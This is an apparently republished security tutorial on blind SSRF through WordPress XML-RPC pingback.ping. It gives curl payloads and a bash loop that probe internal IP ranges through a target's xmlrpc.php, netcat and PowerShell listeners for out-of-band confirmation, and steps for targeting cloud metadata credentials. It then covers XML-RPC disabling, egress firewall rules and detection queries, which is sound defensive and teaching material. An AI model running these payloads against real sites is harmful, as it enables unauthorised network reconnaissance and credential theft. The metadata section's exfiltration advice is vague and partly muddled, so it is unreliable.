Listen to this Post
Introduction:
Server-Side Request Forgery (SSRF) remains one of the most critical web vulnerabilities, often leading to internal network reconnaissance, firewall bypass, and cloud metadata theft. A blind SSRF—where no response is directly returned to the attacker—can still be confirmed through out-of-band (OOB) interactions. The legacy WordPress XML-RPC API, specifically the `pingback.ping` method, has been abused to trigger arbitrary HTTP requests from the server, exposing internal infrastructure and proxy behavior without requiring authentication.
Learning Objectives:
- Detect and validate blind SSRF vulnerabilities in WordPress XML-RPC endpoints using OOB techniques.
- Exploit `pingback.ping` to probe internal network ranges, identify live hosts, and reveal proxy headers.
- Implement robust mitigations including disabling XML-RPC, applying network egress filters, and monitoring outbound requests.
You Should Know
1. Understanding Blind SSRF via WordPress XML-RPC
The XML-RPC interface at `/xmlrpc.php` allows remote procedure calls. The `pingback.ping` method expects a source URI and a target URI. When called, the WordPress server sends an HTTP GET request to the source URI to verify the pingback. By controlling the source URI, an attacker forces the server to make a request to any internal or external address—this is the SSRF primitive.
Step‑by‑step guide to understand the attack flow:
- Identify if `/xmlrpc.php` is enabled on the target WordPress site.
- Construct a valid XML-RPC request body using the `pingback.ping` method.
- Set the first parameter (source URL) to an internal IP or an OOB listener (e.g., Burp Collaborator, Interactsh).
- Set the second parameter (target URL) to a valid post on the same WordPress site (any existing post ID works).
- Send the POST request. The server will attempt to connect to your controlled source URL.
Example XML-RPC payload (Linux/macOS using `curl`):
curl -X POST http://target-site.com/xmlrpc.php \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://10.0.0.1:8080/ping</string></value></param> <param><value><string>http://target-site.com/2023/01/01/sample-post/</string></value></param> </params> </methodCall>'
- Manual Testing for Blind SSRF (Linux & Windows)
To confirm blind SSRF, you need an out‑of‑band listener. On Linux, use `netcat` ornc; on Windows, use `ncat` (from Nmap suite) or PowerShell’s `Test-NetConnection` for simple listeners.
Step‑by‑step OOB confirmation:
- Start a listener on your public or local server:
– Linux: `nc -lvnp 4444`
– Windows (Nmap installed): `ncat -lvnp 4444`
2. Replace the source URL in the XML-RPC payload with `http://your-server.com:4444/ssrf-test`.
3. Send the payload using `curl` (as above) or Burp Suite Repeater.
4. Check your listener for an incoming connection from the WordPress server’s IP. If you see a request, the SSRF is confirmed.
PowerShell alternative for Windows (no extra tools):
Run as admin to start a simple TCP listener $listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Any, 4444) $listener.Start() $client = $listener.AcceptTcpClient() $stream = $client.GetStream() $reader = New-Object System.IO.StreamReader($stream) $reader.ReadLine() $listener.Stop()
3. Exploiting Internal Network Probing
Once blind SSRF is confirmed, you can map internal infrastructure. The WordPress server will send requests to any IP or hostname you specify, often revealing internal proxies, load balancers, or other services.
Step‑by‑step internal network scanning:
- Craft a list of internal IP ranges (e.g.,
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16, `169.254.169.254` for cloud metadata). - Use a tool like `ffuf` or a simple bash loop to send sequential requests. Because the SSRF is blind, you must monitor for differences in response time, error messages, or out‑of‑band callbacks.
- For faster probing, set up an Interactsh client (https://github.com/projectdiscovery/interactsh) which gives you a unique domain and logs all HTTP/DNS interactions.
Bash loop for internal IP probing (Linux):
for ip in 10.0.0.{1..254}; do
curl -s -X POST http://target/xmlrpc.php \
-H "Content-Type: application/xml" \
-d "<?xml version=\"1.0\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://$ip:80/</string></value></param><param><value><string>http://target/post/</string></value></param></params></methodCall>" \
--max-time 5 &
done
Observing internal proxy headers: Some WordPress installations sit behind internal proxies. When the server makes the SSRF request, the proxy may add headers like X-Forwarded-For, X-Forwarded-Host, or Via. These headers can be captured via your listener and reveal internal architecture.
4. Advanced Exploitation: Chaining SSRF with Cloud Metadata
In cloud environments (AWS, GCP, Azure), the instance metadata service is available at 169.254.169.254. A blind SSRF can exfiltrate IAM credentials, user data, or SSH keys.
Step‑by‑step cloud metadata extraction:
- Target the metadata endpoint: `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
- Because the SSRF is blind, you need to force the server to send the metadata response to an external listener. This is not directly possible with blind SSRF unless the server supports a redirect or you have an open callback (e.g., the server makes a second request using the response). However, you can attempt to use the `Expect: 100-continue` header or leverage the fact that some XML-RPC implementations may forward response bodies.
- A more reliable method: combine SSRF with a service like AWS internal ELB that logs requests, or use a DNS rebinding attack to exfiltrate data via DNS queries. For practice, use an interactsh domain as the source URL—any DNS query from the server will be logged.
Linux command to test for metadata endpoint via SSRF:
curl -X POST http://target/xmlrpc.php \
-d @payload.xml \
--output /dev/null \
--write-out "%{http_code}\n"
5. Mitigation: Disabling XML-RPC in WordPress
The most effective fix is to disable XML-RPC entirely unless required (e.g., for Jetpack or mobile apps). Several methods exist:
Method 1: Using .htaccess (Apache)
Block access to xmlrpc.php <Files "xmlrpc.php"> Order Deny,Allow Deny from all </Files>
Method 2: Using Nginx configuration
location = /xmlrpc.php {
deny all;
return 403;
}
Method 3: WordPress plugin (e.g., Disable XML-RPC) or add to theme’s functions.php:
add_filter('xmlrpc_enabled', '__return_false');
remove_action('wp_head', 'rsd_link');
Method 4: Using a Web Application Firewall (WAF) rule – block any POST request to `/xmlrpc.php` with methodName=pingback.ping.
6. Network Hardening Against SSRF
Even after disabling XML-RPC, SSRF can appear in other features (custom APIs, file fetching). Implement defense in depth:
- Egress filtering: Block outbound HTTP/HTTPS traffic from your WordPress server to internal IP ranges and the metadata endpoint. Use iptables on Linux:
iptables -A OUTPUT -d 169.254.169.254 -j DROP iptables -A OUTPUT -d 10.0.0.0/8 -j DROP iptables -A OUTPUT -d 172.16.0.0/12 -j DROP iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
- Windows Firewall equivalent (PowerShell as Admin):
New-NetFirewallRule -DisplayName "Block Metadata" -Direction Outbound -RemoteAddress 169.254.169.254 -Action Block New-NetFirewallRule -DisplayName "Block RFC1918" -Direction Outbound -RemoteAddress 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 -Action Block
- Allowlist external domains: If the server needs to make legitimate outbound requests, proxy them through a dedicated egress proxy that validates destinations.
7. Detection and Monitoring
Detect exploitation attempts by monitoring logs and outbound traffic:
- Web server logs: Look for POST requests to `/xmlrpc.php` with high frequency or unusual source URIs.
- Outbound network logs: Monitor for connections to non‑standard external IPs or internal IP ranges from the WordPress server.
- SIEM rule example (Splunk):
index=web sourcetype=access_combined uri="/xmlrpc.php" method=POST | eval src_uri=extract(xml_body, '<string>(.?)</string>', 1) | where match(src_uri, "^(10.|172.1[6-9]|172.2[0-9]|172.3[0-1]|192.168.|169.254.)")
- Linux real‑time monitoring with
tcpdump:tcpdump -i eth0 'dst net 10.0.0.0/8 or dst net 172.16.0.0/12 or dst net 192.168.0.0/16' -l | while read line; do echo "[bash] SSRF attempt: $line"; done
What Undercode Say:
- Key Takeaway 1: Legacy WordPress XML-RPC remains a significant attack surface; blind SSRF via `pingback.ping` can be exploited without authentication, allowing internal network reconnaissance and cloud metadata theft.
- Key Takeaway 2: Effective mitigation requires disabling XML-RPC completely, implementing strict egress filtering, and monitoring outbound requests. Do not rely solely on WAF rules—defense in depth is essential.
Analysis: The disclosed blind SSRF vulnerability is a textbook example of how outdated yet functional features (XML-RPC) undermine modern security postures. While many organizations assume disabling pingbacks via WordPress settings is enough, the `pingback.ping` method often remains active. Attackers can leverage this to bypass firewalls, probe internal services (e.g., Redis, Memcached, internal dashboards), and even escalate to remote code execution if internal applications are vulnerable. The OOB detection method using Burp Collaborator or Interactsh is efficient and stealthy. From a defensive perspective, disabling XML-RPC at the web server level (.htaccess/Nginx) is the only reliable fix—plugin-based disables can be overridden. Additionally, cloud environments are particularly at risk; a successful SSRF can lead to full account compromise via metadata APIs. Regular vulnerability scans for SSRF primitives should be part of any WordPress hardening checklist.
Prediction:
As API-driven architectures and headless CMS grow, legacy XML‑RPC endpoints will slowly disappear, but many WordPress installations will remain unpatched for years. The real future impact lies in SSRF vulnerabilities migrating to newer technologies: GraphQL APIs, server‑side rendering frameworks (Next.js, Nuxt), and CI/CD pipelines. Attackers will increasingly chain blind SSRF with DNS rebinding and HTTP request smuggling to turn blind vulnerabilities into full data exfiltration. Cloud providers are also hardening metadata services (IMDSv2 requiring token headers), but misconfigured legacy workloads will still expose IMDSv1. Expect more automated SSRF scanners and exploitation frameworks (e.g., SSRFmap, Gopherus) targeting internal cloud resources. The shift to zero‑trust networking and egress proxies will become mandatory for any organization running third‑party software like WordPress.
▶️ Related Video (88% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Spix7 Blind – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
